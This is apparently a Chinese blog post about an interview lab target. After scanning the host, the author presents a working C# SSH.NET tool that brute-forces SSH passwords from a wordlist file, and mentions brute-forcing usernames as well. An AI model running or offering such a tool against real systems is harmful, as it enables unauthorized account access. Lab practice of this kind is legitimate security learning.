昨晚面试,搞了个靶场
ping 了一下发现是linux 系统
telnet 过去看了一下发现ssh 22端口是开的
然后就写了个工具放虚拟机试试能不能爆破密码,然后试试xshell远控,结果失败了
下面是代码,写的不好,主要是看看C# ssh.net 使用
引用ssh,net:

界面:

代码:
using Renci.SshNet;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace ssh
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
string path = textBox4.Text;
string ip = textBox1.Text;
string user = textBox2.Text;
string password = textBox3.Text;
StreamReader streamReader = new StreamReader(path, Encoding.Default);
while ((password = streamReader.ReadLine()) != null)
{
try
{
var sshclient = new SshClient(ip, user, password);
sshclient.Connect();
textBox3.Text = password;
MessageBox.Show("连接成功" + password);
Console.Write("连接成功" + password);
sshclient.Disconnect();
}
catch (Exception se)
{
Console.Write(se.Message + ":" + password+"\n");
continue;
}
};
}
}
}
重要的是字典,这里只是在爆破密码,实际上不知道账号的情况下需要先爆破账号